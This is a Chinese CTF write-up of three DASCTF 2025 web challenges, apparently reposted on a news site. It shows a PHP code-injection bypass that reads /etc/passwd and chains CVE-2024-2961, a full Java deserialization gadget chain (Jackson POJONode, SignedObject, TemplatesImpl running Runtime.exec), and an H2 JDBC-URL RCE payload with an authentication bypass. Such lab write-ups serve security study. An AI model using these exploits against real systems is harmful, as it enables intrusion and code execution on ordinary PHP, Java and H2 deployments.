当前位置: 首页 > news >正文

【Web】DASCTF 2025上半年赛 wp

目录

phpms

再短一点点 

泽西岛


phpms

dirsearch请求太快会报429,要设置一手--delay,扫出来.git

跑一下githacker

git stash list
git stash show -p

 注释的绕过参考:从国赛想到的一些php绕过注释符trick

发现很多函数都被disable了

 这里用php原生类先读/etc/passwd

/index.php?shell=?><?php $context = new SplFileObject('/etc/passwd');
foreach($context as $f){echo($f);
}

看到有redis,后续存在利用

 接下来用SplFileObject原生类配合CNEXT (CVE-2024-2961)进行命令执行

用这个改进过的脚本:https://github.com/kezibei/php-filter-iconv

先读maps

/index.php?shell=?><?php 
$context = new SplFileObject('file:///proc/self/maps');
foreach($context as $f){echo($f);
}

 再读/lib/x86_64-linux-gnu/libc-2.31.so

/index.php?shell=?><?php 
$context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');
foreach($context as $f){echo($f);
}

 脚本生成payload

 执行后502,无回显,可将执行结果写入文件再读取

发现flag不在文件中,在redis里

去读/etc/redis.conf,读到密码为admin123

将命令改为

echo "auth admin123\nget flag" | redis-cli > /tmp/res.txt

再短一点点 

先来看黑名单过滤

第一个过滤com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,即getter的sink

第二个过滤javax.management.BadAttributeValueExpException,即直接触发toString的手段

第三个过滤了aop相关类,但org.springframework.aop.target.HotSwappableTargetSource没有被ban

又注意到题目库里有Jackson,可以由toString触发POJONODE来调getter,这里用SignedObject打二次反序列化即可

参考文章:Jackson原生反序列化 - Infernity's Blog

至于toString的触发,可以先试试EventListenerList这条链

https://github.com/datouo/CTF-Java-Gadget/blob/master/src/main/java/com/xiinnn/readobject2tostring/EventListenerListReadObject2ToString.java

 

链子搓完了,接下来看题目要求(

/deser路由,要求payload长度≤1282,经过InflaterInputStream解码,然后传到MyObjectInputStream里反序列化

反序列化完后执行命令, 删除/a文件,接着再访问/flag路由获取flag

 跑通了poc

package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.*;
import java.util.Base64;
import java.util.Vector;public class exp {public static void main(String[] args) throws Exception {overrideJackson();byte[] bytes = getshortclass("calc");TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);Object obj = getPOJONodeStableProxy(templates);POJONode pojoNode = new POJONode(obj);EventListenerList list = new EventListenerList();UndoManager manager = new UndoManager();Vector vector = (Vector) getFieldValue(manager, "edits");vector.add(pojoNode);setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});//二次反序列化SignedObject signedObject = second_serialize(list);POJONode pojoNode2 = new POJONode(signedObject);EventListenerList list2 = new EventListenerList();UndoManager manager2 = new UndoManager();Vector vector2 = (Vector) getFieldValue(manager2, "edits");vector2.add(pojoNode2);setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager2});String a = serialize(list2);System.out.println(a);System.out.println(a.length());unserialize(a);}public static Object getFieldValue(Object obj, String fieldName) throws Exception{Field field = null;Class c = obj.getClass();for (int i = 0; i < 5; i++) {try {field = c.getDeclaredField(fieldName);} catch (NoSuchFieldException e){c = c.getSuperclass();}}field.setAccessible(true);return field.get(obj);}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));return signedObject;}//获取进行了动态代理的templatesImpl,保证触发getOutputpublic static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);cons.setAccessible(true);AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templatesImpl);InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);return proxyObj;}//重写jacksonpublic static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(writeReplace);ctClass.toClass();}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static Object getTemplates(byte[] bytes) throws Exception {Templates templates = new TemplatesImpl();setValue(templates, "_bytecodes", new byte[][]{bytes});setValue(templates, "_name", "Infernity");setValue(templates, "_tfactory", new TransformerFactoryImpl());return templates;}//提供需要序列化的类,返回base64后的字节码public static String serialize(Object obj) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(obj);String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());return poc;}//提供base64后的字节码,进行反序列化public static void unserialize(String exp) throws IOException,ClassNotFoundException{byte[] bytes = Base64.getDecoder().decode(exp);ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();}//一个短的命令执行class,用javassist写的public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");clazz.addConstructor(constructor);byte[] bytes = clazz.toBytecode();return bytes;}
}

但长度太长,需要削减不必要部分

首先置空TP的不必要字段

删掉jackson链子稳定性部分 

 跑完还是离1282差一点🤔

于是换toString的入口

HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.zip.Deflater;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
import java.util.HashMap;public class exp {public static void main(String[] args) throws Exception {overrideJackson();byte[] bytes = getshortclass("calc");TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);POJONode pojoNode = new POJONode(templates);HotSwappableTargetSource h11 = new HotSwappableTargetSource(pojoNode);HotSwappableTargetSource h21 = new HotSwappableTargetSource(new XString(null));HashMap<Object, Object> objectObjectHashMap = makeMap(h11, h21);//二次反序列化SignedObject signedObject = second_serialize(objectObjectHashMap);POJONode pojoNode2 = new POJONode(signedObject);HotSwappableTargetSource h12 = new HotSwappableTargetSource(pojoNode2);HotSwappableTargetSource h22 = new HotSwappableTargetSource(new XString(null));HashMap<Object, Object> objectObjectHashMap2 = makeMap(h12, h22);String a = serialize(objectObjectHashMap2);System.out.println(a);System.out.println(a.length());unserialize(a);}public static Object getFieldValue(Object obj, String fieldName) throws Exception{Field field = null;Class c = obj.getClass();for (int i = 0; i < 5; i++) {try {field = c.getDeclaredField(fieldName);} catch (NoSuchFieldException e){c = c.getSuperclass();}}field.setAccessible(true);return field.get(obj);}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));return signedObject;}//重写jacksonpublic static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(writeReplace);ctClass.toClass();}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static Object getTemplates(byte[] bytes) throws Exception {Templates templates = new TemplatesImpl();setValue(templates, "_bytecodes", new byte[][]{bytes});setValue(templates, "_name", "");setValue(templates, "_tfactory", null);return templates;}public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setFieldValue(s, "table", tbl);return s;}//提供需要序列化的类,返回base64后的字节码public static String serialize(Object obj) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();// 使用 Deflater 设置为最高压缩率Deflater deflater = new Deflater(Deflater.BEST_COMPRESSION);DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream, deflater);ObjectOutputStream objectOutputStream = new ObjectOutputStream(deflaterOutputStream);objectOutputStream.writeObject(obj);// 关闭流objectOutputStream.flush();deflaterOutputStream.finish();deflaterOutputStream.close();// 转换为 Base64 字符串String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());return poc;}//提供base64后的字节码,进行反序列化public static void unserialize(String exp) throws IOException,ClassNotFoundException{new MyObjectInputStream(new InflaterInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(exp)))).readObject();}//一个短的命令执行class,用javassist写的public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");clazz.addConstructor(constructor);byte[] bytes = clazz.toBytecode();return bytes;}
}

更接近了一点🤔 

 短不了一点了,下一题

泽西岛

这题是个不出网H2 RCE

扒一扒h2database远程代码执行 | 离别歌

首先是鉴权的绕过

用/api/testConnect;.绕过

接着打H2 RCE

cat /flag > $CATALINA_HOME/webapps/ROOT/404.jsp
jdbcUrl=jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INI\T=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('bash -c {echo,Y2F0IC9mbGFnID4gJENBVEFMSU5BX0hPTUUvd2ViYXBwcy9ST09ULzQwNC5qc3A\=}|{base64,-d}|{bash,-i}')\;;AUTHZPWD=\

再随便访问个不存在的路由,带出flag 

http://www.dtcms.com/a/298118.html

相关文章:

  • 牛客刷题记录01
  • 软件工程的工具链演进
  • Lua(数据库访问)
  • (CVPR 2025 )基于学习的自动HSI光谱校准方法
  • [CSS]让overflow不用按shift可以滚轮水平滚动(纯CSS)
  • 【氮化镓】GaN取代GaAs作为空间激光无线能量传输光伏转换器材料
  • SQL server 2019删除重建用户
  • Dify数据可视化-AntV Visualization Chart
  • 「iOS」——多线程原理总结
  • Codeforces Round 735 (Div. 2) D. Diane
  • 页面实时数据更新(进入页面或者浏览器后退前进状态刷新页面)
  • 单目云台是一种安防监控设备,它通常配备一个摄像机,用于实现远程监控和目标追踪
  • nacos的配置中心
  • MySQL性能优化配置终极指南
  • 算法讲解--有效三角形的个数
  • 将本地项目推送到远程github仓库
  • Promise的allSettled,all,race
  • RCE真实漏洞初体验
  • CGA老年综合评估汉密尔顿抑郁量表与认知评估联用
  • HTML 常用标签速查表
  • 智能机器人的技术革命:从感知到决策的全栈架构解析
  • 目前市面上arm64-v8a、armeabi-v7a设备的市占率有多少?为什么x86架构的手机越来越少?
  • 如何识别发票特殊版式?OCR大模型如何颠覆传统并保证准确率?
  • 力扣面试150(41/150)
  • 力扣-560.和为K的子数组
  • 第 9 篇:神经网络初探——当AI拥有了“大脑”,世界从此不同
  • JAVA语法糖
  • 高效算法的实现与优化是计算机科学的核心,直接决定了程序的性能和资源消耗。下面针对排序算法、搜索算法和动态规划,深入探讨其高效实现与关键优化技术。
  • 机器视觉对位印刷加工PCB板应用
  • LlamaIndex 和 Elasticsearch Rerankers:无与伦比的简洁